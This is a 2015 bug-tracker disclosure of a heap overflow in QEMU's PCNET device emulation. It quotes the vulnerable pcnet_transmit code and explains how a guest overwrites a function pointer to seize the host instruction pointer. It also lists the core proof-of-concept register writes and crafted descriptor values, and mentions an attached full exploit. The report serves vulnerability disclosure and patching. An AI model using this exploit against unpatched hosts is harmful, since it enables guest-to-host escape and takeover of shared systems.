New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Jun 2015
Cc:



Sign in to add a comment
Heap overflow in QEMU PCNET driver allowing targeted control of host RIP from guest
Reported by matttait@google.com, May 20 2015 Back to list
A heap overflow exists in the PCNET device controller for QEMU. A guest running in a VM with a PCNET device attached can trigger this vulnerability by sending crafted commands to the host's PCNET device controller, allowing the guest to take full control of the instruction pointer of the host.

-- Detail --

The vulnerability lies in the pcnet_transmit function in hw/net/pcnet.c. The function and relevant structures are given below:

struct pcnet_TMD {
    uint32_t tbadr;
    int16_t length;
    int16_t status;
    uint32_t misc;
    uint32_t res;
};

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, target_phys_addr_t addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, target_phys_addr_t addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

static void pcnet_transmit(PCNetState *s)
{
    target_phys_addr_t xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;

    s->xmit_pos = -1;

    if (!CSR_TXON(s)) {
        s->csr[0] &= ~0x0008;
        return;
    }

    s->tx_busy = 1;

    txagain:
    if (pcnet_tdte_poll(s)) {
        struct pcnet_TMD tmd;

        TMDLOAD(&tmd, PHYSADDR(s,CSR_CXDA(s)));

#ifdef PCNET_DEBUG_TMD
        printf("  TMDLOAD 0x%08x\n", PHYSADDR(s,CSR_CXDA(s)));
        PRINT_TMD(&tmd);
#endif
        if (GET_FIELD(tmd.status, TMDS, STP)) {
            s->xmit_pos = 0;
            xmit_cxda = PHYSADDR(s,CSR_CXDA(s));
            if (BCR_SWSTYLE(s) != 1)
                add_crc = GET_FIELD(tmd.status, TMDS, ADDFCS);
        }
        if (!GET_FIELD(tmd.status, TMDS, ENP)) {
            int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
            s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
                             s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
            s->xmit_pos += bcnt;
        } else if (s->xmit_pos >= 0) {
            int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
            s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
                             s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
            s->xmit_pos += bcnt;
#ifdef PCNET_DEBUG
            printf("pcnet_transmit size=%d\n", s->xmit_pos);
#endif
            if (CSR_LOOP(s)) {
                if (BCR_SWSTYLE(s) == 1)
                    add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
                s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
                pcnet_receive(&s->nic->nc, s->buffer, s->xmit_pos);
                s->looptest = 0;
            } else
                if (s->nic)
                    qemu_send_packet(&s->nic->nc, s->buffer, s->xmit_pos);

            s->csr[0] &= ~0x0008;   /* clear TDMD */
            s->csr[4] |= 0x0004;    /* set TXSTRT */
            s->xmit_pos = -1;
        }

        SET_FIELD(&tmd.status, TMDS, OWN, 0);
        TMDSTORE(&tmd, PHYSADDR(s,CSR_CXDA(s)));
        if (!CSR_TOKINTD(s) || (CSR_LTINTEN(s) && GET_FIELD(tmd.status, TMDS, LTINT)))
            s->csr[0] |= 0x0200;    /* set TINT */

        if (CSR_XMTRC(s)<=1)
            CSR_XMTRC(s) = CSR_XMTRL(s);
        else
            CSR_XMTRC(s)--;
        if (count--)
            goto txagain;

    } else
    if (s->xmit_pos >= 0) {
        struct pcnet_TMD tmd;
        TMDLOAD(&tmd, xmit_cxda);
        SET_FIELD(&tmd.misc, TMDM, BUFF, 1);
        SET_FIELD(&tmd.misc, TMDM, UFLO, 1);
        SET_FIELD(&tmd.status, TMDS, ERR, 1);
        SET_FIELD(&tmd.status, TMDS, OWN, 0);
        TMDSTORE(&tmd, xmit_cxda);
        s->csr[0] |= 0x0200;    /* set TINT */
        if (!CSR_DXSUFLO(s)) {
            s->csr[0] &= ~0x0010;
        } else
        if (count--)
          goto txagain;
    }

    s->tx_busy = 0;
}

In brief, this code loads a transmit-frame descriptor from the guest into the /tmd/ local variable to recover a length field, a status field and a guest-physical location of the associated frame buffer. If the status field indicates that the frame buffer is ready to be sent out (i.e. by setting the TXSTATUS_DEVICEOWNS, TXSTATUS_STARTPACKET and TXSTATUS_ENDPACKET bits on the status field), the PCNET device controller pulls in the frame from the guest-physical location to s->buffer (which is 4096 bytes long), and then transmits the frame.

Because of the layout of the transmit-frame descriptor, it is not possible to send the PCNET device controller a frame of length > 4096, but it /is/ possible to send the PCNET device controller a frame that is marked as TXSTATUS_STARTPACKET, but not TXSTATUS_ENDPACKET. If we do this - and the PCNET controller is configured via the XMTRL CSR to support split-frame processing - then the pcnet_transmit functions loops round, pulling a second transmit frame descriptor from the guest. If this second transmit frame descriptor sets the TXSTATUS_DEVICEOWNS and doesn't set the TXSTATUS_STARTPACKET bits, this frame is appended to the s->buffer field.

An attacker can then exploit this vulnerability by sending a first packet of length 4096 to the device controller, and a second frame containing N-bytes to trigger an N-byte heap overflow.

On 64-bit QEMU, a 24-byte overflow allows the guest to take control of the phys_mem_write function pointer in the PCNetState_st structure, and this is called when trying to flush the updated transmit frame descriptor back to the guest. By specifying the content of the second transmit frame, the attacker therefore gets reliable fully-chosen control of the host instruction pointer, allowing them to take control of the host.

-- PoC --

The core steps of the PoC are as below; the full PoC in C and a bootable image in RAW format are given as attachments to this bug report.

	// 1: PCNET 16-bit RESET
	TRACE(pcnet_ioport_readw(0x14));			// 16-bit RESET

	// 2: setup the PCNET device:
	TRACE(WriteBCR(20, 1));	// BCR_SSIZE32
	
	// 3: Tell the PCNET device where the initblk is:
	TRACE(WriteCSR(1, CSRIADR_ADDR & 0xffff));
	TRACE(WriteCSR(2, CSRIADR_ADDR >> 16));

	// 4: setup the PCNET 32-bit INIT blk:
	initblk = (struct pcnet_initblk32*)CSRIADR_ADDR;
	ZeroMemory(initblk, sizeof(*initblk));
	initblk->rdra = 0;			// don't setup an RX buffer
	initblk->tdra = 0x2000;		// vaddrs = paddrs because there's no paging in this PoC

	// 5: tell PCNET to INIT but not STRT (this DMAs in the initblk)
	TRACE(WriteCSR(0, 0x0001));

        // 6: Set the CSR_XMTRL value to 0x100 (we need to assert STOP on CR0 first)
	TRACE(WriteCSR(0, 0x0004));
	TRACE(WriteCSR(78, 0x100));

	// 7: tell PCNET to start
	TRACE(WriteCSR(0, 0x0002));		// assert STRT

	////////////
	// Exploit-Time!

	// 8: Our Frame buffer
	FillMemory8((void*)FRAME_ADDR, 0x41, 4096);

	// 9: Our Buffer-fill frame:
	ZeroMemory(tx_fill, sizeof(*tx_fill));
	tx_fill->length = 0xf000;
	tx_fill->status = 0x8000 | 0x0200;
	tx_fill->tbadr = FRAME_ADDR;

        // 10: Our Buffer-overflow frame:
	ZeroMemory(tx_oflo, sizeof(*tx_oflo));
	tx_oflo->length = (uint16_t)(0xf000 | (-16));
	tx_oflo->status = 0x8000;
	tx_oflo->tbadr = FRAME_ADDR;

	// 11: tell PCNET to transmit our frame, which triggers the overflow
	TRACE(WriteCSR(0, 0x0008));

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
qemu-pcnet-hof.c
8.1 KB Download
boot.bin
31.5 KB Download
Comment 1 by matttait@google.com, Jun 10 2015
Labels: -Restrict-View-Commit Fixed-2015-Jun-10
Status: Fixed
Patched and made public by QEMU https://www.mail-archive.com/qemu-devel@nongnu.org/msg302403.html
Sign in to add a comment